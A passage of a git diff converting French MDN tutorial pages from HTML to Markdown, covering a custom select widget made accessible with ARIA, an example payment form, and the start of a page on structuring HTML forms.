"/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_3")}} + </td> + </tr> + <tr> + <td style="text-align: center"> + <a + href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_3" + title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_3" + >Revoir le code source</a + > + </td> + </tr> + </tbody> </table> -<h3 id="Gérer_la_valeur_du_widget">Gérer la valeur du widget</h3> +### Gérer la valeur du widget + -<p> </p> -<p>Maintenant que notre widget fonctionne, nous devons ajouter du code pour mettre à jour la valeur en fonction des entrées utilisateur et envoyer cette valeur avec les données du formulaire.</p> +Maintenant que notre widget fonctionne, nous devons ajouter du code pour mettre à jour la valeur en fonction des entrées utilisateur et envoyer cette valeur avec les données du formulaire. -<p>La façon la plus simple de le faire est d'utiliser un widget natif sous‑jacent. Un tel widget gardera une trace de la valeur avec tous les contrôles intégrés fournis par le navigateur, et la valeur sera envoyée comme d'habitude lorsque le formulaire sera soumis. Il ne sert à rien de réinventer la roue alors que tout cela peut être fait pour nous.</p> +La façon la plus simple de le faire est d'utiliser un widget natif sous‑jacent. Un tel widget gardera une trace de la valeur avec tous les contrôles intégrés fournis par le navigateur, et la valeur sera envoyée comme d'habitude lorsque le formulaire sera soumis. Il ne sert à rien de réinventer la roue alors que tout cela peut être fait pour nous. -<p>Comme nous l'avons vu précédemment, nous utilisons déjà un widget de sélection natif comme solution de repli pour des raisons d'accessibilité ; nous pouvons simplement synchroniser sa valeur avec celle de notre widget personnalisé :</p> +Comme nous l'avons vu précédemment, nous utilisons déjà un widget de sélection natif comme solution de repli pour des raisons d'accessibilité ; nous pouvons simplement synchroniser sa valeur avec celle de notre widget personnalisé : -<pre class="brush: js">// Cette fonction met à jour la valeur affichée et la synchronise avec celle +```js +// Cette fonction met à jour la valeur affichée et la synchronise avec celle // du widget natif. Elle prend deux paramètres : // select : le nœud DOM de la classe `select` contenant la valuer à mettre à jour // index : l'index de la valeur choisie @@ -646,11 +686,13 @@ function getIndex(select) { var nativeWidget = select.previousElementSibling; return nativeWidget.selectedIndex; -};</pre> +}; +``` -<p>Avec ces deux fonctions, nous pouvons lier les widgets natifs avec les personnalisés :</p> +Avec ces deux fonctions, nous pouvons lier les widgets natifs avec les personnalisés : -<pre class="brush: js">// Nous lions le widget aux événements dès le chargement du document +```js +// Nous lions le widget aux événements dès le chargement du document window.addEventListener('load', function () { var selectList = document.querySelectorAll('.select'); @@ -684,79 +726,89 @@ window.addEventListener('load', function () { index = getIndex(select); // Quand l'utilisateur presse ⇓, nous allons à l'option suivante - if (event.keyCode === 40 && index < length - 1) { index++; } + if (event.keyCode === 40 && index < length - 1) { index++; } // Quand l'utilisateur presse ⇑, nous sautons à l'option suivante - if (event.keyCode === 38 && index > 0) { index--; } + if (event.keyCode === 38 && index > 0) { index--; } updateValue(select, index); }); }); -});</pre> +}); +``` -<p>Dans le code ci-dessus, il faut noter l'utilisation de la propriété <code><a href="/fr/docs/Web/API/HTMLElement/tabIndex" title="/en-US/docs/Web/API/HTMLElement/tabIndex">tabIndex</a></code>. Utiliser cette propriété est nécessaire pour être sûr que le widget natif n'obtiendra jamais le focus et que le widget personnalisé l'obtiendra quand l'utilisateur utilise le clavier ou la souris.</p> +Dans le code ci-dessus, il faut noter l'utilisation de la propriété [`tabIndex`](/fr/docs/Web/API/HTMLElement/tabIndex "/en-US/docs/Web/API/HTMLElement/tabIndex"). Utiliser cette propriété est nécessaire pour être sûr que le widget natif n'obtiendra jamais le focus et que le widget personnalisé l'obtiendra quand l'utilisateur utilise le clavier ou la souris. -<p>Et voilà, nous avons terminé ! Voici le résultat :</p> +Et voilà, nous avons terminé ! Voici le résultat : <table> - <thead> - <tr> - <th scope="col" style="text-align: center;">Exemple en direct</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{EmbedLiveSample("Change_states",120,130, "", "/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_4")}}</td> - </tr> - <tr> - <td style="text-align: center;"><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_4" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_3">Revoir le code source</a></td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col" style="text-align: center">Exemple en direct</th> + </tr> + </thead> + <tbody> + <tr> + <td> + {{EmbedLiveSample("Change_states",120,130, "", "/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_4")}} + </td> + </tr> + <tr> + <td style="text-align: center"> + <a + href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_4" + title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_3" + >Revoir le code source</a + > + </td> + </tr> + </tbody> </table> -<p>Mais attendez, avons‑nous vraiment terminé ?</p> +Mais attendez, avons‑nous vraiment terminé ? -<h2 id="Le_rendre_«_accessible_»">Le rendre « accessible »</h2> +## Le rendre « accessible » -<p> </p> -<p>Nous venons de faire quelque chose qui fonctionne, même si nous sommes loin d'avoir une boîte de sélection avec toutes les fonctionnalités, elle fonctionne parfaitement. Mais ce que nous avons fait n'est rien de plus que de jouer avec les DOM. Elle n'a pas de sémantique réelle, et même si elle ressemble à une boîte de sélection, du point de vue du navigateur, ce n'en est pas une, de sorte que les technologies d'assistance ne pourront pas comprendre que c'est une boîte de sélection. Bref, cette jolie nouvelle boîte de sélection n'est pas accessible !</p> -<p>Heureusement, il existe une solution et elle s'appelle <a href="/fr/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a>. ARIA signifie « Accessible Rich Internet Application » et c'est une<a href="http://www.w3.org/TR/wai-aria/" rel="external"> norme W3C </a>spécialement conçue pour ce que nous faisons ici : rendre accessibles les applications web et les widgets personnalisés. Il s'agit essentiellement d'un ensemble d'attributs qui étendent le HTML afin que nous puissions mieux décrire les rôles, les états et les propriétés comme si l'élément que nous venons de concevoir était l'élément natif pour lequel il essaie de passer. L'utilisation de ces attributs est très simple, alors faisons-le.</p> +Nous venons de faire quelque chose qui fonctionne, même si nous sommes loin d'avoir une boîte de sélection avec toutes les fonctionnalités, elle fonctionne parfaitement. Mais ce que nous avons fait n'est rien de plus que de jouer avec les DOM. Elle n'a pas de sémantique réelle, et même si elle ressemble à une boîte de sélection, du point de vue du navigateur, ce n'en est pas une, de sorte que les technologies d'assistance ne pourront pas comprendre que c'est une boîte de sélection. Bref, cette jolie nouvelle boîte de sélection n'est pas accessible ! -<h3 id="L'attribut_role">L'attribut <code>role</code></h3> +Heureusement, il existe une solution et elle s'appelle [ARIA](/fr/docs/Accessibility/ARIA "/en-US/docs/Accessibility/ARIA"). ARIA signifie « Accessible Rich Internet Application » et c'est une[ norme W3C ](http://www.w3.org/TR/wai-aria/)spécialement conçue pour ce que nous faisons ici : rendre accessibles les applications web et les widgets personnalisés. Il s'agit essentiellement d'un ensemble d'attributs qui étendent le HTML afin que nous puissions mieux décrire les rôles, les états et les propriétés comme si l'élément que nous venons de concevoir était l'élément natif pour lequel il essaie de passer. L'utilisation de ces attributs est très simple, alors faisons-le. -<p>L'attribut clé utilisé par <a href="/fr/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a> est l'attribut <a href="/fr/docs/Accessibility/ARIA/ARIA_Techniques" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques"><code>role</code></a>. L'attribut <a href="/fr/docs/Accessibility/ARIA/ARIA_Techniques" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques"><code>role </code></a> accepte une valeur qui définit à quoi sert un élément. Chaque rôle définit ses propres exigences et comportements. Dans notre exemple, nous utiliserons le rôle de <code><a href="/fr/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role">listbox</a></code>. C'est un « rôle composite », ce qui signifie que les éléments ayant ce rôle s'attendent à avoir des enfants, chacun avec un rôle spécifique (dans ce cas, au moins un enfant avec le rôle <code>option</code>).</p> +### L'attribut `role` -<p>Il faut aussi noter qu'ARIA définit les rôles appliqués par défaut aux balises HTML standard. Par exemple, l'élément {{HTMLElement("table")}} correspond au rôle <code>grid</code>, et l'élément {{HTMLElement("ul")}} correspond au rôle <code>list</code>. Comme nous utilisons un élément {{HTMLElement("ul")}}, nous voulons nous assurer que le rôle <code>listbox</code> de notre widget remplacera le rôle <code>list</code> de l'élément {{HTMLElement("ul")}}. À cette fin, nous utiliserons le rôle <code>presentation</code>. Ce rôle est conçu pour nous permettre d'indiquer qu'un élément n'a pas de signification particulière, et est utilisé uniquement pour présenter de l'information. Nous l'appliquerons à notre élément {{HTMLElement("ul")}}.</p> +L'attribut clé utilisé par [ARIA](/fr/docs/Accessibility/ARIA "/en-US/docs/Accessibility/ARIA") est l'attribut [`role`](/fr/docs/Accessibility/ARIA/ARIA_Techniques "/en-US/docs/Accessibility/ARIA/ARIA_Techniques"). L'attribut [`role `](/fr/docs/Accessibility/ARIA/ARIA_Techniques "/en-US/docs/Accessibility/ARIA/ARIA_Techniques") accepte une valeur qui définit à quoi sert un élément. Chaque rôle définit ses propres exigences et comportements. Dans notre exemple, nous utiliserons le rôle de [`listbox`](/fr/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role "/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role"). C'est un « rôle composite », ce qui signifie que les éléments ayant ce rôle s'attendent à avoir des enfants, chacun avec un rôle spécifique (dans ce cas, au moins un enfant avec le rôle `option`). -<p>Pour prendre en charge le rôle <code>listbos</code>, nous n'avons qu'à mettre à jour notre HTML comme ceci :</p> +Il faut aussi noter qu'ARIA définit les rôles appliqués par défaut aux balises HTML standard. Par exemple, l'élément {{HTMLElement("table")}} correspond au rôle `grid`, et l'élément {{HTMLElement("ul")}} correspond au rôle `list`. Comme nous utilisons un élément {{HTMLElement("ul")}}, nous voulons nous assurer que le rôle `listbox` de notre widget remplacera le rôle `list` de l'élément {{HTMLElement("ul")}}. À cette fin, nous utiliserons le rôle `presentation`. Ce rôle est conçu pour nous permettre d'indiquer qu'un élément n'a pas de signification particulière, et est utilisé uniquement pour présenter de l'information. Nous l'appliquerons à notre élément {{HTMLElement("ul")}}. -<pre class="brush: html"><!-- Nous ajoutons le role="listbox" en attribut de l'élément de tête --> -<div class="select" role="listbox"> - <span class="value">Cherry</span> - <!-- Nous ajoutons aussi le role="presentation" à l'élément ul --> - <ul class="optList" role="presentation"> - <!-- et le rôle="option" en attribut de tous les éléments li --> - <li role="option" class="option">Cherry</li> - <li role="option" class="option">Lemon</li> - <li role="option" class="option">Banana</li> - <li role="option" class="option">Strawberry</li> - <li role="option" class="option">Apple</li> - </ul> -</div></pre> +Pour prendre en charge le rôle `listbos`, nous n'avons qu'à mettre à jour notre HTML comme ceci : -<div class="note"> -<p><strong>Note :</strong> Inclure à la fois l'attribut <code>role</code> et l'attribut <code>class</code> n'est nécessaire que si vous souhaitez prendre en charge les navigateurs anciens qui n'acceptent pas les <a href="/fr/docs/CSS/Attribute_selectors" title="/en-US/docs/CSS/Attribute_selectors">selecteurs d'attribut CSS</a>.</p> +```html +<!-- Nous ajoutons le role="listbox" en attribut de l'élément de tête --> +<div class="select" role="listbox"> + <span class="value">Cherry</span> + <!-- Nous ajoutons aussi le role="presentation" à l'élément ul --> + <ul class="optList" role="presentation"> + <!-- et le rôle="option" en attribut de tous les éléments li --> + <li role="option" class="option">Cherry</li> + <li role="option" class="option">Lemon</li> + <li role="option" class="option">Banana</li> + <li role="option" class="option">Strawberry</li> + <li role="option" class="option">Apple</li> + </ul> </div> +``` + +> **Note :** Inclure à la fois l'attribut `role` et l'attribut `class` n'est nécessaire que si vous souhaitez prendre en charge les navigateurs anciens qui n'acceptent pas les [selecteurs d'attribut CSS](/fr/docs/CSS/Attribute_selectors "/en-US/docs/CSS/Attribute_selectors"). -<h3 id="L'attribut_aria-selected">L'attribut <code>aria-selected</code></h3> +### L'attribut `aria-selected` -<p>Utiliser l'attribut <code>role</code> ne suffit pas. <a href="/fr/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a> fournit également de nombreux états et attributs de propriété. Plus vous les utiliserez, mieux votre widget sera compris par les techniques d'assistance. Dans notre cas, nous limiterons notre utilisation à un seul attribut : <code>aria-selected</code>.</p> +Utiliser l'attribut `role` ne suffit pas. [ARIA](/fr/docs/Accessibility/ARIA "/en-US/docs/Accessibility/ARIA") fournit également de nombreux états et attributs de propriété. Plus vous les utiliserez, mieux votre widget sera compris par les techniques d'assistance. Dans notre cas, nous limiterons notre utilisation à un seul attribut : `aria-selected`. -<p>L'attribut <code>aria-selected</code> s'utilise pour marquer l'option actuellement sélectionnée ; ceci permet aux techniques d'assistance d'informer l'utilisateur quelle est la sélection en cours. Nous l'utiliserons dynamiquement avec JavaScript pour marquer l'option sélectionnée chaque fois que l'utilisateur en choisit une. Pour cela, nous devons réviser la fonction <code>updateValue()</code> :</p> +L'attribut `aria-selected` s'utilise pour marquer l'option actuellement sélectionnée ; ceci permet aux techniques d'assistance d'informer l'utilisateur quelle est la sélection en cours. Nous l'utiliserons dynamiquement avec JavaScript pour marquer l'option sélectionnée chaque fois que l'utilisateur en choisit une. Pour cela, nous devons réviser la fonction `updateValue()` : -<pre class="brush: js">function updateValue(select, index) { +```js +function updateValue(select, index) { var nativeWidget = select.previousElementSibling; var value = select.querySelector('.value'); var optionList = select.querySelectorAll('.option'); @@ -772,55 +824,60 @@ window.addEventListener('load', function () { nativeWidget.selectedIndex = index; value.innerHTML = optionList[index].innerHTML; highlightOption(select, optionList[index]); -};</pre> +}; +``` -<p>Voici le résultat final de toutes ces modifications (vous obtiendrez un meilleur ressenti en les testant avec une technique d'assistance comme <a href="http://www.nvda-project.org/" rel="external">NVDA</a> ou <a href="http://www.apple.com/accessibility/voiceover/" rel="external">VoiceOver</a>) :</p> +Voici le résultat final de toutes ces modifications (vous obtiendrez un meilleur ressenti en les testant avec une technique d'assistance comme [NVDA](http://www.nvda-project.org/) ou [VoiceOver](http://www.apple.com/accessibility/voiceover/)) : <table> - <thead> - <tr> - <th scope="col" style="text-align: center;">Exemple en direct</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{EmbedLiveSample("Change_states",120,130, "", "/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_5")}}</td> - </tr> - <tr> - <td style="text-align: center;"><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_5" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_3">Revoir le code source</a></td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col" style="text-align: center">Exemple en direct</th> + </tr> + </thead> + <tbody> + <tr> + <td> + {{EmbedLiveSample("Change_states",120,130, "", "/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_5")}} + </td> + </tr> + <tr> + <td style="text-align: center"> + <a + href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_5" + title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_3" + >Revoir le code source</a + > + </td> + </tr> + </tbody> </table> -<h2 id="Conclusion">Conclusion</h2> +## Conclusion -<p>Nous venons de voir les bases pour la construction d'un widget de formulaire personnalisé, mais comme vous avez pu le voir, ce n'est pas facile à faire, et il est souvent préférable et plus facile de s'appuyer sur des bibliothèques tierces au lieu de les coder vous-même (sauf, bien sûr, si vous souhaitez bâtir une telle bibliothèque).</p> +Nous venons de voir les bases pour la construction d'un widget de formulaire personnalisé, mais comme vous avez pu le voir, ce n'est pas facile à faire, et il est souvent préférable et plus facile de s'appuyer sur des bibliothèques tierces au lieu de les coder vous-même (sauf, bien sûr, si vous souhaitez bâtir une telle bibliothèque). -<p>Voici quelques bibliothèques à prendre en considération avant de coder les vôtres :</p> +Voici quelques bibliothèques à prendre en considération avant de coder les vôtres : -<ul> - <li><a href="http://jqueryui.com/" rel="external">jQuery UI</a></li> - <li><a href="https://github.com/marghoobsuleman/ms-Dropdown" rel="external">msDropDown</a></li> - <li><a href="http://www.emblematiq.com/lab/niceforms/" rel="external">Nice Forms</a></li> - <li><a href="https://www.google.fr/search?q=HTML+custom+form+controls&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:fr:official&client=firefox-a" rel="external" title="https://www.google.fr/search?q=HTML+custom+form+controls&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:fr:official&client=firefox-a">et beaucoup d'autres…</a></li> -</ul> +- [jQuery UI](http://jqueryui.com/) +- [msDropDown](https://github.com/marghoobsuleman/ms-Dropdown) +- [Nice Forms](http://www.emblematiq.com/lab/niceforms/) +- [et beaucoup d'autres…](https://www.google.fr/search?q=HTML+custom+form+controls&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:fr:official&client=firefox-a "https://www.google.fr/search?q=HTML+custom+form+controls&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:fr:official&client=firefox-a") -<p>Si vous voulez aller plus loin, le code de cet exemple mérite quelques amélioration avant de devenir générique et réutilisable. C'est un exercice que vous pouvez essayer de faire. Deux conseils pour vous aider : le premier argument pour toutes nos fonctions est le même, ce qui signifie que ces fonctions ont besoin du même contexte. Il serait avisé de construire un objet pour partager ce contexte. En outre, vous devrez éprouver ses fonctionnalités, c'est-à-dire qu'il doit pouvoir fonctionner avec les divers navigateurs dont la compatibilité avec les normes Web qu'ils utilisent varie. Amusez-vous bien !</p> +Si vous voulez aller plus loin, le code de cet exemple mérite quelques amélioration avant de devenir générique et réutilisable. C'est un exercice que vous pouvez essayer de faire. Deux conseils pour vous aider : le premier argument pour toutes nos fonctions est le même, ce qui signifie que ces fonctions ont besoin du même contexte. Il serait avisé de construire un objet pour partager ce contexte. En outre, vous devrez éprouver ses fonctionnalités, c'est-à-dire qu'il doit pouvoir fonctionner avec les divers navigateurs dont la compatibilité avec les normes Web qu'ils utilisent varie. Amusez-vous bien ! -<p>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Validation_donnees_formulaire", "Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires")}}</p> +{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Validation_donnees_formulaire", "Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML">Comment structurer un formulaire HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li> -</ul> +- [Mon premier formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML) +- [Comment structurer un formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML) +- [Les widgets natifs pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs) +- [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires) +- [Validation des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire) +- [Comment construire des widgets personnalisés pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés) +- [Envoi de formulaires à l'aide du JavaScript](/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript) +- [Formulaires HTML dans les navigateurs anciens](/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers) +- [Mise en forme des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML) +- [Mise en forme avancée des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms) +- [Table de compatibilité des propriétés pour les widgets de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets) diff --git a/files/fr/learn/forms/how_to_structure_a_web_form/example/index.md b/files/fr/learn/forms/how_to_structure_a_web_form/example/index.md index 672ae945dd..8bb3667e4e 100644 --- a/files/fr/learn/forms/how_to_structure_a_web_form/example/index.md +++ b/files/fr/learn/forms/how_to_structure_a_web_form/example/index.md @@ -4,92 +4,95 @@ slug: Learn/Forms/How_to_structure_a_web_form/Example translation_of: Learn/Forms/How_to_structure_a_web_form/Example original_slug: Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML/Exemple --- -<p>Ceci est un exemple de formulaire de paiement basique extrait de l'article <a href="/fr/docs/HTML/Formulaires/Comment_structurer_un_formulaire_HTML" title="/fr/docs/HTML/Formulaires/Comment_structurer_un_formulaire_HTML">Comment structurer un formulaire HTML</a>.</p> - -<h2 id="Un_formulaire_de_paiement">Un formulaire de paiement</h2> - -<h3 id="Contenu_HTML">Contenu HTML</h3> - -<pre class="brush: html"><form> - <h1>Formulaire de paiement</h1> - <p>Les champs obligatoires sont suivis par <strong><abbr title="required">*</abbr></strong>.</p> - <section> - <h2>Informations de contact</h2> - <fieldset> - <legend>Qualité</legend> - <ul> - <li> - <label for="title_1"> - <input type="radio" id="title_1" name="title" value="M." > +Ceci est un exemple de formulaire de paiement basique extrait de l'article [Comment structurer un formulaire HTML](/fr/docs/HTML/Formulaires/Comment_structurer_un_formulaire_HTML "/fr/docs/HTML/Formulaires/Comment_structurer_un_formulaire_HTML"). + +## Un formulaire de paiement + +### Contenu HTML + +```html +<form> + <h1>Formulaire de paiement</h1> + <p>Les champs obligatoires sont suivis par <strong><abbr title="required">*</abbr></strong>.</p> + <section> + <h2>Informations de contact</h2> + <fieldset> + <legend>Qualité</legend> + <ul> + <li> + <label for="title_1"> + <input type="radio" id="title_1" name="title" value="M." > Monsieur - </label> - </li> - <li> - <label for="title_2"> - <input type="radio" id="title_2" name="title" value="Mme."> + </label> + </li> + <li> + <label for="title_2"> + <input type="radio" id="title_2" name="title" value="Mme."> Madame - </label> - </li> - </ul> - </fieldset> - <p> - <label for="name"> - <span>Nom :</span> - <strong><abbr title="required">*</abbr></strong> - </label> - <input type="text" id="name" name="username"> - </p> - <p> - <label for="mail"> - <span>e-mail :</span> - <strong><abbr title="required">*</abbr></strong> - </label> - <input type="email" id="mail" name="usermail"> - </p> - <p> - <label for="password"> - <span>Mot de passe :</span> - <strong><abbr title="required">*</abbr></strong> - </label> - <input type="password" id="pwd" name="password"> - </p> - </section> - <section> - <h2>Informations de paiement</h2> - <p> - <label for="card"> - <span>Type de carte :</span> - </label> - <select id="card" name="usercard"> - <option value="visa">Visa</option> - <option value="mc">Mastercard</option> - <option value="amex">American Express</option> - </select> - </p> - <p> - <label for="number"> - <span>Numéro :</span> - <strong><abbr title="required">*</abbr></strong> - </label> - <input type="text" id="number" name="cardnumber"> - </p> - <p> - <label for="date"> - <span>Validité :</span> - <strong><abbr title="required">*</abbr></strong> - <em>format mm/aa</em> - </label> - <input type="text" id="date" name="expiration"> - </p> - </section> - <section> - <p> <button type="submit">Valider le paiement</button> </p> - </section> - </form></pre> - -<h3 id="Contenu_CSS">Contenu CSS</h3> - -<pre class="brush: css"> h1 { + </label> + </li> + </ul> + </fieldset> + <p> + <label for="name"> + <span>Nom :</span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="text" id="name" name="username"> + </p> + <p> + <label for="mail"> + <span>e-mail :</span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="email" id="mail" name="usermail"> + </p> + <p> + <label for="password"> + <span>Mot de passe :</span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="password" id="pwd" name="password"> + </p> + </section> + <section> + <h2>Informations de paiement</h2> + <p> + <label for="card"> + <span>Type de carte :</span> + </label> + <select id="card" name="usercard"> + <option value="visa">Visa</option> + <option value="mc">Mastercard</option> + <option value="amex">American Express</option> + </select> + </p> + <p> + <label for="number"> + <span>Numéro :</span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="text" id="number" name="cardnumber"> + </p> + <p> + <label for="date"> + <span>Validité :</span> + <strong><abbr title="required">*</abbr></strong> + <em>format mm/aa</em> + </label> + <input type="text" id="date" name="expiration"> + </p> + </section> + <section> + <p> <button type="submit">Valider le paiement</button> </p> + </section> + </form> +``` + +### Contenu CSS + +```css + h1 { margin-top: 0; } @@ -158,10 +161,9 @@ original_slug: Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML/ position: absolute; right: 5px; top: 20px; - }</pre> - -<h3 id="Résultat">Résultat</h3> + } +``` -<p>{{ EmbedLiveSample("Un_formulaire_de_paiement", "100%", "620") }}</p> +### Résultat -<p> </p> +{{ EmbedLiveSample("Un_formulaire_de_paiement", "100%", "620") }} diff --git a/files/fr/learn/forms/how_to_structure_a_web_form/index.md b/files/fr/learn/forms/how_to_structure_a_web_form/index.md index 7f098d890e..2e3c1fd3fe 100644 --- a/files/fr/learn/forms/how_to_structure_a_web_form/index.md +++ b/files/fr/learn/forms/how_to_structure_a_web_form/index.md @@ -13,302 +13,313 @@ tags: translation_of: Learn/Forms/How_to_structure_a_web_form original_slug: Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML", "Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs", "Web/Guide/HTML/Formulaires")}} -<div>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML", "Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs", "Web/Guide/HTML/Formulaires")}}</div> - -<p>Les bases vues, nous examinons maintenant plus en détail les éléments utilisés pour structurer et donner un sens aux différentes parties d'un formulaire.</p> +Les bases vues, nous examinons maintenant plus en détail les éléments utilisés pour structurer et donner un sens aux différentes parties d'un formulaire. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Notions concernant les ordinateurs et les <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">connaissances de base du HTML</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre comment structurer les formulaires HTML et leur adjoindre la sémantique pour qu'ils soient utilisables et accessibles.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Notions concernant les ordinateurs et les + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >connaissances de base du HTML</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Comprendre comment structurer les formulaires HTML et leur adjoindre la + sémantique pour qu'ils soient utilisables et accessibles. + </td> + </tr> + </tbody> </table> -<p>La souplesse des formulaires HTML fait d'eux une des structures les plus complexes en <a href="/fr/docs/HTML" title="/en-US/docs/HTML">HTML</a>. vous pouvez construire n'importe quel type de formulaire basique en utilisant les éléments et attributs qui leur sont dédiés. En utilisant une architecture correcte lors de la construction d'un formulaire, vous serez sûrs que le formulaire est à la fois utilisable et <a href="/fr/docs/MDN/Doc_status/Accessibility">accessible</a>.</p> +La souplesse des formulaires HTML fait d'eux une des structures les plus complexes en [HTML](/fr/docs/HTML "/en-US/docs/HTML"). vous pouvez construire n'importe quel type de formulaire basique en utilisant les éléments et attributs qui leur sont dédiés. En utilisant une architecture correcte lors de la construction d'un formulaire, vous serez sûrs que le formulaire est à la fois utilisable et [accessible](/fr/docs/MDN/Doc_status/Accessibility). -<h2 id="L'élément_<form>">L'élément <form></h2> +## L'élément \<form> -<p>L'élément {{HTMLElement("form")}} définit conventionnellement un formulaire et des attributs qui déterminent le comportement du‑dit formulaire. Chaque fois que vous voulez créer un formulaire HTML, vous devez le débuter par cet élément et mettre tout son contenu à l'intérieur. De nombreuses techniques d'assistance ou greffons de navigateur peuvent détecter les éléments {{HTMLElement("form")}} et implémenter des accroches spéciales pour les rendre plus faciles à utiliser.</p> +L'élément {{HTMLElement("form")}} définit conventionnellement un formulaire et des attributs qui déterminent le comportement du‑dit formulaire. Chaque fois que vous voulez créer un formulaire HTML, vous devez le débuter par cet élément et mettre tout son contenu à 